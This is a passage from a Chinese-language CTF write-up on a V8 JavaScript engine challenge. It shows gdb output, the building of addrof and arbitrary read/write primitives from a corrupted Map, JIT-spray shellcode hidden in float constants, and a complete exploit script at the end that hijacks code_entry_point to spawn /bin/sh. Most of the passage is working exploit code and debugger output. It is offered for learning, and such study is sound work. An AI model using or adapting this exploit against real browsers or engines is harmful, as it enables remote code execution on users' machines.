和 m->table
的位置很接近(0x233e0004bacd + 0x4c == 0x233e0004bb19
)
1 2 pwndbg> x/20 xw 0x233e0004bb19 -1 0x233e0004bb18 : 0x0018e6bd 0x00002259 0x0004bb29 0x00000004
oob_arr+0x8
(table+0x54
):oob_arr->elements
oob_arr+0xc
(table+0x58
):oob_arr->length
先执行一次 m.set(0x10,-1)
后再次打印 table
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pwndbg> job 0x233e0004bacd 0x233e0004bacd : [OrderedHashMap] - FixedArray length: 17 - elements: 0 - deleted: 0 - buckets: 16 - capacity: 32 - buckets: { 0 : -1 1 : -1 2 : 0x233e000023e1 <undefined> 3 : 0x233e000023e1 <undefined> 4 : 0x233e000023e1 <undefined> 5 : 0x233e000023e1 <undefined> 6 : 0x233e000023e1 <undefined> 7 : 0x233e000023e1 <undefined> 8 : 0x233e000023e1 <undefined> 9 : 0x233e000023e1 <undefined> 10 : 0x233e000023e1 <undefined> 11 : 0x233e000023e1 <undefined> 12 : 0x233e000023e1 <undefined> 13 : 0x233e000023e1 <undefined> 14 : 0x233e0018e6bd <Map[16 ](PACKED_DOUBLE_ELEMENTS)> 15 : 0x233e00002259 <FixedArray[0 ]> } - elements: { }
由于 Map
的容量被覆盖为32,这意味着存储桶扩展到16
由于存储桶的扩展,元素指针 Entry 向后移动了 (16-2)*0x4 = 0x38
字节
所以,之前映射键的第一个元素 Entry 存储在 table+0x1c
中,现在它将存储在 table+0x54
中
1 2 3 pwndbg> x/30 xw 0x233e0004bacd -1 +0x54 0x233e0004bb20 : 0x0004bb29 0x00000004 0x00002ac1 0x00000004 0x233e0004bb30 : 0x9999999a 0x3ff19999 0x9999999a 0x40019999
但是 table+0x54
是存储的元素 oob_arr
指针,table+0x58
是 oob_arr
长度
因此,在损坏之后,如果我们第三次调用 map.set
,它将覆盖 oob_arr
元素的指针和长度,通过进一步的技术,我们将能够使用损坏的 oob_arr
作为我们的读写基元
1 2 3 4 d8> m.set (oob_arr, 0xffff ); [object Map] d8> oob_arr.length 65535
1 2 3 pwndbg> x/30 xw 0x233e0004bacd -1 +0x54 0x233e0004bb20 : 0x0004bb19 0x0001fffe 0xfffffffe 0x00000004 0x233e0004bb30 : 0x9999999a 0x3ff19999 0x9999999a 0x40019999
oob_arr
的长度已经被修改了,完成了 Array OOB 数组越界
现在我们有一个可以进行 OOB 读写的数组,为了控制 RIP,我们需要能够执行:
addrof:获取对象的地址
创建一个名为 victims 的新变量,它是一个空对象的数组
将目标对象分配给 victims 数组的元素之一
使用从 oob_arr
读取的 OOB,读取受害者元素的存储值(即目标对象地址)
1 2 3 4 5 6 victim = [{}, {}, {}, {}]; function addrof (in_obj ) { mask = (1n << 32n ) - 1n victim[0 ] = in_obj; return ftoi(oob_arr[12 ]) & mask; }
read:读取给定地址的值(RAA)
创建一个名为 read_gadget 的数组,该数组由浮点值组成
使用 OOB 从 oob_arr
写入,利用溢出覆盖 read_gadget[0]
,使其指向 target_addr-0x8
(数组的第一个元素存储在 elements+0x8
中)
返回 read_gadget[0]
1 2 3 4 5 read_gadget = [1.1 , 2.2 , 3.3 ]; function weak_read (addr ) { oob_arr[37 ] = itof(0x600000000n +addr-0x8n ); return ftoi(read_gadget[0 ]); }
write:将值写入给定地址(WAA)
前面和 read 类似
但我们没有返回 read_gadget[0]
值
而是为 read_gadget[0]
分配了我们所需的值
1 2 3 4 function weak_write (addr, value ) { oob_arr[37 ] = itof(0x600000000n +addr-0x8n ); read_gadget[0 ] = itof(value); }
接下来我们需要寻找控制 RIP 的方法(劫持程序的执行流)
实际上,可以通过 JIT 喷射攻击来走私 shellcode 代码:(绕过 sandbox)
我们可以做的是将我们的 shellcode 转换为浮点数,以便我们的浮点数十六进制按原样存储在 Jitted 函数区域中
实例代码如下:
1 2 3 4 5 6 7 8 9 10 const foo = ()=>{ return [1.0 , 1.95538254221075331056310651818E-246 , 1.95606125582421466942709801013E-246 , 1.99957147195425773436923756715E-246 , 1.95337673326740932133292175341E-246 , 2.63486047652296056448306022844E-284 ]; } for (let i = 0 ; i < 0x10000 ; i++) {foo();foo();foo();foo();}
JavaScript 中定义的浮点实际上是走私的 shellcode
它将执行 sys_execve('/bin/sh')
由于该函数被调用了很多次,因此 v8 将对代码进行 JIT(启用 TURBOFAN)
使用 GDB 打印内存信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 d8> %DebugPrint(foo) DebugPrint: 0xc25002c278d : [Function] in OldSpace - map : 0x0c2500184241 <Map[28 ](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x0c25001840f5 <JSFunction (sfi = 0xc2500145dfd )> - elements: 0x0c2500002259 <FixedArray[0 ]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x0c2500199f11 <SharedFunctionInfo foo> - name: 0x0c2500199ea5 <String[3 ]: #foo> - formal_parameter_count: 0 - kind: ArrowFunction - context: 0x0c250019a005 <ScriptContext[3 ]> - code: 0x0c250019a2dd <CodeDataContainer TURBOFAN> - source code: ()=> { return [1.0 , 1.95538254221075331056310651818E-246 , 1.95606125582421466942709801013E-246 , 1.99957147195425773436923756715E-246 , 1.95337673326740932133292175341E-246 , 2.63486047652296056448306022844E-284 ]; } - properties: 0x0c2500002259 <FixedArray[0 ]> - All own properties (excluding elements) : { 0xc2500006551 : [String] in ReadOnlySpace: #length: 0x0c25001442fd <AccessorInfo name= 0x0c2500006551 <String[6]: #length> , data= 0x0c25000023e1 <undefined> > (const accessor descriptor), location: descriptor 0xc2500006799 : [String] in ReadOnlySpace: #name: 0x0c25001442e5 <AccessorInfo name= 0x0c2500006799 <String[4]: #name> , data= 0x0c25000023e1 <undefined> > (const accessor descriptor), location: descriptor } - feedback vector : 0xc250019a0c9 : [FeedbackVector] in OldSpace - map : 0x0c250000273d <Map(FEEDBACK_VECTOR_TYPE)> - length: 1 - shared function info: 0x0c2500199f11 <SharedFunctionInfo foo> - no optimized code - tiering state: TieringState::kNone - maybe has maglev code: 0 - maybe has turbofan code: 0 - invocation count: 214279 - profiler ticks: 0 - closure feedback cell array : 0xc2500003511 : [ClosureFeedbackCellArray] in ReadOnlySpace - map : 0x0c2500002981 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)> - length: 0 - slot #0 Literal { [0 ]: 0x0c250019a185 <AllocationSite> } 0xc2500184241 : [Map] in OldSpace - type: JS_FUNCTION_TYPE - instance size: 28 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length : invalid - callable - back pointer: 0x0c25000023e1 <undefined> - prototype_validity cell: 0x0c25001443cd <Cell value= 1 > - instance descriptors (own) #2 : 0x0c2500184269 <DescriptorArray[2 ]> - prototype: 0x0c25001840f5 <JSFunction (sfi = 0xc2500145dfd )> - constructor: 0x0c2500002261 <null> - dependent code: 0x0c25000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)> - construction counter: 0 ()=> { return [1.0 , 1.95538254221075331056310651818E-246 , 1.95606125582421466942709801013E-246 , 1.99957147195425773436923756715E-246 , 1.95337673326740932133292175341E-246 , 2.63486047652296056448306022844E-284 ]; }
请注意,foo
方法中有一个名为 code 的属性,其中基于 gdb 中的检查,偏移量为 foo+0x18
接下来打印 code 属性的信息:
1 2 3 4 5 6 7 8 pwndbg> job 0x0c250019a2dd 0xc250019a2dd : [CodeDataContainer] in OldSpace - map : 0x0c2500002a71 <Map[28 ](CODE_DATA_CONTAINER_TYPE)> - kind: TURBOFAN - is_off_heap_trampoline: 0 - code: 0x55e3400042c1 <Code TURBOFAN> - code_entry_point: 0x55e340004300 - kind_specific_flags: 4
code:指向 jitted code 区域(code + 0x8
)
code_entry_point:指向 jitted code 指令的开头(code + 0xc
)
1 2 3 4 pwndbg> job 0x55e3400042c1 0x55e3400042c1 : [Code] - map : 0x0c250000264d <Map(CODE_TYPE)> - code_data_container: 0x0c250019a2dd <CodeDataContainer TURBOFAN>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> telescope 0x55e340004300 00 :0000 │ 0x55e340004300 ◂— mov ebx, dword ptr [rcx - 0x30 ]01 :0008 │ 0x55e340004308 ◂— 0x1fe88e70850f0117 02 :0010 │ 0x55e340004310 ◂— push rbp03 :0018 │ 0x55e340004318 ◂— sub esp, 8 04 :0020 │ 0x55e340004320 ◂— xchg bl, bh05 :0028 │ 0x55e340004328 ◂— add bh, cl06 :0030 │ 0x55e340004330 ◂— cmp qword ptr [r13 + 0xcf08 ], rdi07 :0038 │ 0x55e340004338 ◂— xchg byte ptr [rbx], dl08 :0040 │ 0x55e340004340 ◂— cmp byte ptr [rcx - 0x77 ], cl09 :0048 │ 0x55e340004348 ◂— add rcx, 1 0 a:0050 │ 0x55e340004350 ◂— add al, byte ptr [rax]0b :0058 │ 0x55e340004358 ◂— add ecx, dword ptr [r8 + rax]0 c:0060 │ 0x55e340004360 ◂— jbe 0x55e340004322 0 d:0068 │ 0x55e340004368 ◂— stc 0 e:0070 │ 0x55e340004370 ◂— 0x68732f68ba4907 0f :0078 │ 0x55e340004378 ◂— pop rax
使用 WAA,让我们通过移动其存储值来覆盖此 code_entry_point
,以指向我们的第一个走私 shellcode
,以便当我们调用 foo
时,它将跳转并执行我们构建的 shellcode
PS:最好将目标 JIT 代码放在文件的顶部,这样它就不会弄乱我们创建的 WAA
最后的入侵步骤:
执行 addrof(foo)
获取 foo
对象的地址
使用 weak_read
获取 foo+0x18
(foo->code
)
使用 weak_read
获取 foo->code+0xc
(foo->code->code_entry_point
)
使用 weak_write
在 foo->code
处覆盖上 foo->code->code_entry_point+shift_offset
(其中 shift_offset
是起始 JIT 代码指令到走私的 shellcode
代码之间的距离)
通过调试来寻找 shift_offset
的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pwndbg> telescope 0x5577a0004b00 00 :0000 │ 0x5577a0004b00 ◂— mov ebx, dword ptr [rcx - 0x30 ]01 :0008 │ 0x5577a0004b08 ◂— 0x1fe88670850f0117 02 :0010 │ 0x5577a0004b10 ◂— push rbp03 :0018 │ 0x5577a0004b18 ◂— sub esp, 8 04 :0020 │ 0x5577a0004b20 ◂— xchg bl, bh05 :0028 │ 0x5577a0004b28 ◂— add bh, cl06 :0030 │ 0x5577a0004b30 ◂— cmp qword ptr [r13 + 0xcf08 ], rdi07 :0038 │ 0x5577a0004b38 ◂— xchg byte ptr [rbx], dlpwndbg> 08 :0040 │ 0x5577a0004b40 ◂— cmp byte ptr [rcx - 0x77 ], cl09 :0048 │ 0x5577a0004b48 ◂— add rcx, 1 0 a:0050 │ 0x5577a0004b50 ◂— add al, byte ptr [rax]0b :0058 │ 0x5577a0004b58 ◂— add ecx, dword ptr [r8 + rax]0 c:0060 │ 0x5577a0004b60 ◂— jbe 0x5577a0004b22 0 d:0068 │ 0x5577a0004b68 ◂— stc 0 e:0070 │ 0x5577a0004b70 ◂— 0x68732f68ba4907 0f :0078 │ 0x5577a0004b78 ◂— pop rax
其实这个 shellcode
的开头有一处很明显的特征:
1 2 3 0 : 68 2f 73 68 00 push 0x68732f 5 : 58 pop rax6 : eb 0 c jmp 0x14
通过 0x68732f
就可以快速定位 shellcode
:
1 2 3 pwndbg> telescope 0x5577a0004b00 +115 00 :0000 │ 0x5577a0004b73 ◂— push 0x68732f 01 :0008 │ 0x5577a0004b7b ◂— vmovq xmm0, r10
完整 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 const foo = ()=> { return [1.0 , 1.95538254221075331056310651818E-246 , 1.95606125582421466942709801013E-246 , 1.99957147195425773436923756715E-246 , 1.95337673326740932133292175341E-246 , 2.63486047652296056448306022844E-284 ]; } for (let i = 0 ; i < 0x10000 ; i++) {foo();foo();foo();foo();}var buf = new ArrayBuffer (8 );var f64_buf = new Float64Array (buf);var u64_buf = new Uint32Array (buf);function ftoi (val ) { f64_buf[0 ] = val; return BigInt (u64_buf[0 ]) + (BigInt (u64_buf[1 ]) << 32n ); } function itof (val ) { u64_buf[0 ] = Number (val & 0xffffffffn ); u64_buf[1 ] = Number (val >> 32n ); return f64_buf[0 ]; } var c = [];m = new Map (); m.set(1 , 1 ); m.set(c.hole(), 1 ); m.delete(c.hole()); m.delete(c.hole()); m.delete(1 ); oob_arr = new Array (1.1 , 2.2 ); m.set(0x10 , -1 ); m.set(oob_arr, 0xffff ); victim = [{}, {}, {}, {}]; read_gadget = [1.1 , 2.2 , 3.3 ]; function addrof (in_obj ) { mask = (1n << 32n ) - 1n victim[0 ] = in_obj; return ftoi(oob_arr[12 ]) & mask; } function weak_read (addr ) { oob_arr[37 ] = itof(0x600000000n +addr-0x8n ); return ftoi(read_gadget[0 ]); } function weak_write (addr, value ) { oob_arr[37 ] = itof(0x600000000n +addr-0x8n ); read_gadget[0 ] = itof(value); } f_foo = addrof(foo); f_code = weak_read(f_foo+0x18n ) & ((1n << 32n ) - 1n ); f_code_code_entry_point = weak_read(f_code+0xcn ); weak_write(f_code+0xcn , f_code_code_entry_point+115n ); foo();
小结:
本人对 V8 不是很了解,只是之前复现过一些 JavaScript pwn
比赛时 V8 的环境我搭了很久,搭好后也不会做题,这个题就当是 V8 入门吧
全程模仿官方 wp,原文如下:
文章全英文,锻炼了一下阅读英语论文的能力
学习到的知识如下: